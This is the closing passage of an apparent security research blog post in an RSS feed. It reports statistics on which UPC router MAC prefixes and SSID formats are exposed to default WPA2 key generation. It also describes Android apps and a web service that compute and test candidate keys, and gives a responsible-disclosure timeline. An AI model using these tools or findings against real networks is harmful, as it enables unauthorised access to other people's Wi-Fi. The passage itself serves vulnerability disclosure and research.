      &lt;td style=&quot;text-align: left&quot;&gt;7 535&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;4 056&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UBEE 5.0 GHz&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;14&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;14&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;14&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;5&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;UBEE no-match SSID&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;10&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;8&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;5&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;We took different time periods from the &lt;a href=&quot;http://wifileaks.cz&quot;&gt;wifileaks.cz&lt;/a&gt; database because the affected router appeared on the market
mainly in 2015 and to demonstrate how situation progressed over time. For example in 2016:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;There are 22 324 (6.56%) UPC WiFi networks.&lt;/li&gt;
  &lt;li&gt;In total, there are 4 809 UBEE devices (both with UPC name and with changed SSID).&lt;/li&gt;
  &lt;li&gt;743 UBEE devices have different SSID - user probably changed it (15.45%).&lt;/li&gt;
  &lt;li&gt;Our algorithm worked for 4 061 UBEE devices with UPC SSID (99.88%).&lt;/li&gt;
  &lt;li&gt;5 UBEE devices with UPC SSID did not match our SSID prediction (0.12%). The reason: 4 of them have 6 digits and 1 has 8 digits in SSID.&lt;/li&gt;
  &lt;li&gt;5 UBEE devices with UPC SSID that matched had MAC offset -1, thus it was working in 5GHz band.&lt;/li&gt;
  &lt;li&gt;2 759 UPC devices had &lt;code class=&quot;highlighter-rouge&quot;&gt;UPC123456789&lt;/code&gt; (9 digits) SSID. As far as we know, Blasty’s and UBEE generator does not work for these (same for 6 and 8 digits).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;other-prefixes&quot;&gt;Other prefixes&lt;/h3&gt;
&lt;p&gt;Using &lt;a href=&quot;http://wifileaks.cz&quot;&gt;wifileaks.cz&lt;/a&gt; database we tested this hypothesis: &lt;em&gt;is SSID generator working also for other MAC addresses, besides
those starting with UBEE prefix &lt;code class=&quot;highlighter-rouge&quot;&gt;64:7c:34&lt;/code&gt;&lt;/em&gt; ?&lt;/p&gt;

&lt;p&gt;The answer is &lt;em&gt;NO&lt;/em&gt;. We re-implemented SSID generation routine in
&lt;a href=&quot;https://github.com/yolosec/upcgen/blob/master/pytools/ubee_wifileaks.py&quot;&gt;Python&lt;/a&gt;, run it for all UPC WiFi records in
the database and only MAC addresses starting with &lt;code class=&quot;highlighter-rouge&quot;&gt;64:7c:34&lt;/code&gt; prefix are vulnerable to this attack.&lt;/p&gt;

&lt;p&gt;Here is the table of top 10 most used MAC prefixes for UPC WiFi SSIDs in &lt;a href=&quot;http://wifileaks.cz&quot;&gt;wifileaks.cz&lt;/a&gt; dataset for 2016 group.
In our manual testing we haven’t found WiFi that would resist attack of Blasty and our algorithm combined. We
thus assume the combined approach works on majority of UPC WiFis matching regex &lt;code class=&quot;highlighter-rouge&quot;&gt;^UPC[0-9]{7}&lt;/code&gt; (7 digits). This assumption
is supported also by our Android apps users reviews.&lt;/p&gt;

&lt;table class=&quot;mbtablestyle3&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;MAC prefix&lt;/th&gt;
      &lt;th&gt;Vendor&lt;/th&gt;
      &lt;th&gt;Occurrences&lt;/th&gt;
      &lt;th&gt;Blasty works&lt;/th&gt;
      &lt;th&gt;UBEE works&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;88:f7:c7&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Technicolor&lt;/td&gt;
      &lt;td&gt;4684&lt;/td&gt;
      &lt;td&gt;Probably yes&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;64:7c:34&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Ubee&lt;/td&gt;
      &lt;td&gt;4066&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
      &lt;td&gt;Yes&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;e8:40:f2&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Pegatron&lt;/td&gt;
      &lt;td&gt;2541&lt;/td&gt;
      &lt;td&gt;Probably no&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;c4:27:95&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Technicolor&lt;/td&gt;
      &lt;td&gt;2244&lt;/td&gt;
      &lt;td&gt;Probably yes&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;58:23:8c&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Technicolor&lt;/td&gt;
      &lt;td&gt;1995&lt;/td&gt;
      &lt;td&gt;Probably yes&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;44:32:c8&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Technicolor&lt;/td&gt;
      &lt;td&gt;904&lt;/td&gt;
      &lt;td&gt;Probably yes&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;70:54:d2&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Pegatron&lt;/td&gt;
      &lt;td&gt;834&lt;/td&gt;
      &lt;td&gt;Probably no&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;34:7a:60&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Arsis&lt;/td&gt;
      &lt;td&gt;732&lt;/td&gt;
      &lt;td&gt;Probably no&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;38:60:77&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Pegatron&lt;/td&gt;
      &lt;td&gt;664&lt;/td&gt;
      &lt;td&gt;Probably no&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;a0:c5:62&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Arsis&lt;/td&gt;
      &lt;td&gt;587&lt;/td&gt;
      &lt;td&gt;Probably no&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Rest&lt;/td&gt;
      &lt;td&gt;-&lt;/td&gt;
      &lt;td&gt;3073&lt;/td&gt;
      &lt;td&gt;Unknown&lt;/td&gt;
      &lt;td&gt;No&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Top 10 MAC prefixes for UPC SSIDs. &lt;a href=&quot;http://www.macvendors.com/&quot;&gt;macvendors.com&lt;/a&gt; was used to resolve MAC prefix to the vendor name.&lt;/p&gt;

&lt;table class=&quot;mbtablestyle3&quot;&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;MAC prefix&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;6 digits&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;7 digits&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;8 digits&lt;/th&gt;
      &lt;th style=&quot;text-align: right&quot;&gt;9 digits&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;88:f7:c7&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;2&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;4682&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;64:7c:34&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;2&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;4063&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;1&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;e8:40:f2&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;2541&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;c4:27:95&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;2244&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;58:23:8c&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;1995&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;44:32:c8&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;904&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;70:54:d2&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;834&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;34:7a:60&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;732&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;38:60:77&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;664&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;a0:c5:62&lt;/code&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;0&lt;/td&gt;
      &lt;td style=&quot;text-align: right&quot;&gt;587&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;MAC prefix with respect to the number of digits in the UPC SSID.&lt;/p&gt;

&lt;p&gt;The UPC SSID digit distribution:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;6 digits&lt;/em&gt;: Pegatron&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;7 digits&lt;/em&gt;: UBEE, Technicolor&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;8 digits&lt;/em&gt;: anomaly (units)&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;9 digits&lt;/em&gt;: Arsis&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As you can see, prefix &lt;code class=&quot;highlighter-rouge&quot;&gt;e8:40:f2&lt;/code&gt; is used only with 6 digits SSIDs, these router types are probably not affected nor by
Blasty generator, neither by UBEE generator (Pegatron router). On the other hand others in TOP 10 list (UBEE, Technicolor)
with 7 digits SSID are affected with high probability.&lt;/p&gt;

&lt;p&gt;If you happen to try Blasty attack on devices with these prefixes please report us the state to our e-mail (page footer), we will update statistics.
 Thanks a lot!&lt;/p&gt;

&lt;h2 id=&quot;android-apps&quot;&gt;Android Apps&lt;/h2&gt;

&lt;h3 id=&quot;routerkeygen&quot;&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=net.yolosec.routerkeygen2&quot;&gt;RouterKeygen&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;To enable users to test their default UPC WiFi keys from their Android phones, we added support to
&lt;a href=&quot;https://play.google.com/store/apps/details?id=net.yolosec.routerkeygen2&quot;&gt;RouterKeygen&lt;/a&gt; (&lt;a href=&quot;https://github.com/yolosec/routerkeygenAndroid&quot;&gt;sources&lt;/a&gt;) application for our algorithm (and to Blasty’s algorithm as well). RouterKeygen scans nearby WiFi networks, detects any UPC routers and automatically generates and tests candidate keys.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/routerkeygen_screen.jpg&quot;&gt;&lt;img src=&quot;/static/ubee/routerkeygen_screen.jpg&quot; alt=&quot;RouterKeygen Yolosec&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;upc-keygen&quot;&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=net.yolosec.upckeygen&quot;&gt;UPC Keygen&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=net.yolosec.upckeygen&quot;&gt;UPC Keygen&lt;/a&gt; (&lt;a href=&quot;https://github.com/yolosec/upcKeygen&quot;&gt;sources&lt;/a&gt;) is a lightweight alternative for RouterKeygen that requires no Android permissions. It allows users to manually enter UPC SSID and calculate candidate keys using Blasty’s original algorithm. UBEE algorithm is computed for manual BSSID entry. For now we do not support generating UBEE from SSID as it would require  \( 2 \times 2^{24} \) MD5 evaluations (slow).&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/static/ubee/upckeygen_screen.jpg&quot;&gt;&lt;img src=&quot;/static/ubee/upckeygen_screen.jpg&quot; alt=&quot;RouterKeygen Yolosec&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Both applications are available at the Google Play Store &lt;a href=&quot;https://play.google.com/store/apps/details?id=net.yolosec.routerkeygen2&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://play.google.com/store/apps/details?id=net.yolosec.upckeygen&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;sources&quot;&gt;Sources&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/yolosec/upcgen&quot;&gt;&lt;span class=&quot;icon icon--github&quot;&gt;&lt;svg viewBox=&quot;0 0 16 16&quot;&gt;&lt;path fill=&quot;#828282&quot; d=&quot;M7.999,0.431c-4.285,0-7.76,3.474-7.76,7.761 c0,3.428,2.223,6.337,5.307,7.363c0.388,0.071,0.53-0.168,0.53-0.374c0-0.184-0.007-0.672-0.01-1.32 c-2.159,0.469-2.614-1.04-2.614-1.04c-0.353-0.896-0.862-1.135-0.862-1.135c-0.705-0.481,0.053-0.472,0.053-0.472 c0.779,0.055,1.189,0.8,1.189,0.8c0.692,1.186,1.816,0.843,2.258,0.645c0.071-0.502,0.271-0.843,0.493-1.037 C4.86,11.425,3.049,10.76,3.049,7.786c0-0.847,0.302-1.54,0.799-2.082C3.768,5.507,3.501,4.718,3.924,3.65 c0,0,0.652-0.209,2.134,0.796C6.677,4.273,7.34,4.187,8,4.184c0.659,0.003,1.323,0.089,1.943,0.261 c1.482-1.004,2.132-0.796,2.132-0.796c0.423,1.068,0.157,1.857,0.077,2.054c0.497,0.542,0.798,1.235,0.798,2.082 c0,2.981-1.814,3.637-3.543,3.829c0.279,0.24,0.527,0.713,0.527,1.437c0,1.037-0.01,1.874-0.01,2.129 c0,0.208,0.14,0.449,0.534,0.373c3.081-1.028,5.302-3.935,5.302-7.362C15.76,3.906,12.285,0.431,7.999,0.431z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;
&lt;/span&gt;&lt;span class=&quot;username&quot;&gt;yolosec/upcgen&lt;/span&gt;&lt;/a&gt;
 Proof-of-concept WPA2 password generator repo (C, Python)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ubee.deadcode.me&quot;&gt;ubee.deadcode.me&lt;/a&gt; SSID \( \rightarrow \) Password recovery web service&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=net.yolosec.routerkeygen2&quot;&gt;Router Keygen&lt;/a&gt; Android app&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/yolosec/routerkeygenAndroid&quot;&gt;&lt;span class=&quot;icon icon--github&quot;&gt;&lt;svg viewBox=&quot;0 0 16 16&quot;&gt;&lt;path fill=&quot;#828282&quot; d=&quot;M7.999,0.431c-4.285,0-7.76,3.474-7.76,7.761 c0,3.428,2.223,6.337,5.307,7.363c0.388,0.071,0.53-0.168,0.53-0.374c0-0.184-0.007-0.672-0.01-1.32 c-2.159,0.469-2.614-1.04-2.614-1.04c-0.353-0.896-0.862-1.135-0.862-1.135c-0.705-0.481,0.053-0.472,0.053-0.472 c0.779,0.055,1.189,0.8,1.189,0.8c0.692,1.186,1.816,0.843,2.258,0.645c0.071-0.502,0.271-0.843,0.493-1.037 C4.86,11.425,3.049,10.76,3.049,7.786c0-0.847,0.302-1.54,0.799-2.082C3.768,5.507,3.501,4.718,3.924,3.65 c0,0,0.652-0.209,2.134,0.796C6.677,4.273,7.34,4.187,8,4.184c0.659,0.003,1.323,0.089,1.943,0.261 c1.482-1.004,2.132-0.796,2.132-0.796c0.423,1.068,0.157,1.857,0.077,2.054c0.497,0.542,0.798,1.235,0.798,2.082 c0,2.981-1.814,3.637-3.543,3.829c0.279,0.24,0.527,0.713,0.527,1.437c0,1.037-0.01,1.874-0.01,2.129 c0,0.208,0.14,0.449,0.534,0.373c3.081-1.028,5.302-3.935,5.302-7.362C15.76,3.906,12.285,0.431,7.999,0.431z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;
&lt;/span&gt;&lt;span class=&quot;username&quot;&gt;yolosec/routerkeygenAndroid&lt;/span&gt;&lt;/a&gt;
 Router Keygen sources&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=net.yolosec.upckeygen&quot;&gt;UPC Keygen&lt;/a&gt; Android app&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/yolosec/upcKeygen&quot;&gt;&lt;span class=&quot;icon icon--github&quot;&gt;&lt;svg viewBox=&quot;0 0 16 16&quot;&gt;&lt;path fill=&quot;#828282&quot; d=&quot;M7.999,0.431c-4.285,0-7.76,3.474-7.76,7.761 c0,3.428,2.223,6.337,5.307,7.363c0.388,0.071,0.53-0.168,0.53-0.374c0-0.184-0.007-0.672-0.01-1.32 c-2.159,0.469-2.614-1.04-2.614-1.04c-0.353-0.896-0.862-1.135-0.862-1.135c-0.705-0.481,0.053-0.472,0.053-0.472 c0.779,0.055,1.189,0.8,1.189,0.8c0.692,1.186,1.816,0.843,2.258,0.645c0.071-0.502,0.271-0.843,0.493-1.037 C4.86,11.425,3.049,10.76,3.049,7.786c0-0.847,0.302-1.54,0.799-2.082C3.768,5.507,3.501,4.718,3.924,3.65 c0,0,0.652-0.209,2.134,0.796C6.677,4.273,7.34,4.187,8,4.184c0.659,0.003,1.323,0.089,1.943,0.261 c1.482-1.004,2.132-0.796,2.132-0.796c0.423,1.068,0.157,1.857,0.077,2.054c0.497,0.542,0.798,1.235,0.798,2.082 c0,2.981-1.814,3.637-3.543,3.829c0.279,0.24,0.527,0.713,0.527,1.437c0,1.037-0.01,1.874-0.01,2.129 c0,0.208,0.14,0.449,0.534,0.373c3.081-1.028,5.302-3.935,5.302-7.362C15.76,3.906,12.285,0.431,7.999,0.431z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;
&lt;/span&gt;&lt;span class=&quot;username&quot;&gt;yolosec/upcKeygen&lt;/span&gt;&lt;/a&gt;
 UPC keygen sources&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.securityfocus.com/archive/1/538560&quot;&gt;UBEE Security Advisory&lt;/a&gt; - interesting UBEE vulnerabilities (discovered by others).&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.slideshare.net/DusanKlinec/upc-router-reverse-engineering-case-study&quot;&gt;Our PDF presentation&lt;/a&gt; on the UPC hack + wardriving&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;responsible-disclosure&quot;&gt;Responsible Disclosure&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;27. Jan 2016&lt;/em&gt;: Start of the analysis.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;04. Feb 2016&lt;/em&gt;: Official disclosure to Liberty Global.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;04. May 2016&lt;/em&gt;: Check with Liberty Global on state of the fix.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;28. Jun 2016&lt;/em&gt;: Sending this article for review to Liberty Global.&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;04. Jul 2016&lt;/em&gt;: Publication of this article.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;upc-solution&quot;&gt;UPC solution&lt;/h3&gt;
&lt;p&gt;Currently, devices are still vulnerable (11-Jul-2016).
Liberty Global (UPC) confirmed they are working on the fix.
Allegedly, it will be in a form of a firmware upgrade pushed to all routers automatically.
After upgrade, router will redirect user to the “captive portal” (behaviour similar to hotel/airport WiFis on the first connect)
asking user to change the default password.&lt;/p&gt;

</description>
        <pubDate>Fri, 01 Jul 2016 08:00:00 +0200</pubDate>
        <link>http://localhost:4000/blog/2016/07/01/UPC-UBEE-EVW3226-WPA2-Reversing.html</link>
        <guid isPermaLink="true">http://localhost:4000/blog/2016/07/01/UPC-UBEE-EVW3226-WPA2-Reversing.html</guid>
        
        <category>hacking</category>
        
        <category>router</category>
        
        <category>reversing</category>
        
        <category>hacking</category>
        
        
        <category>blog</category>
        
      </item>
    
  </channel>
</rss>
